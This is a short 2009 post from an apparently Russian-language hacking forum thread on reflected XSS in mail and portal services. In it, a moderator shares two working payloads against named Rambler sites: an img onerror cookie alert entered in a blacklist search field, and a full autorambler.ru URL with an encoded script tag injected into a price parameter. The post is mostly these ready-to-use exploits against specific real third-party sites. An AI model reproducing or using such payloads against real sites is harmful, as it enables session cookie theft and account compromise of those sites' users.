Тема: Пассивные xss на почтовых серверах
Показать сообщение отдельно

  #55  
Старый 24.09.2009, 15:39
Аватар для satana-fu
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию
пассивка на рамблере

Цитата:
http://id-planet.rambler.ru/main/user/blacklist
строка Найти забаненного
PHP код:
<img src=foo.png onerror=alert(document.cookie) /> 

еще одна пассивка на рамблер

PHP код:
http://autorambler.ru/cars/by-price/?price_from=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&raz=1&price_to=250000&model=303&skip=0&currency=RUR 
Последний раз редактировалось satana-fu; 21.10.2009 в 18:24..
 
Ответить с цитированием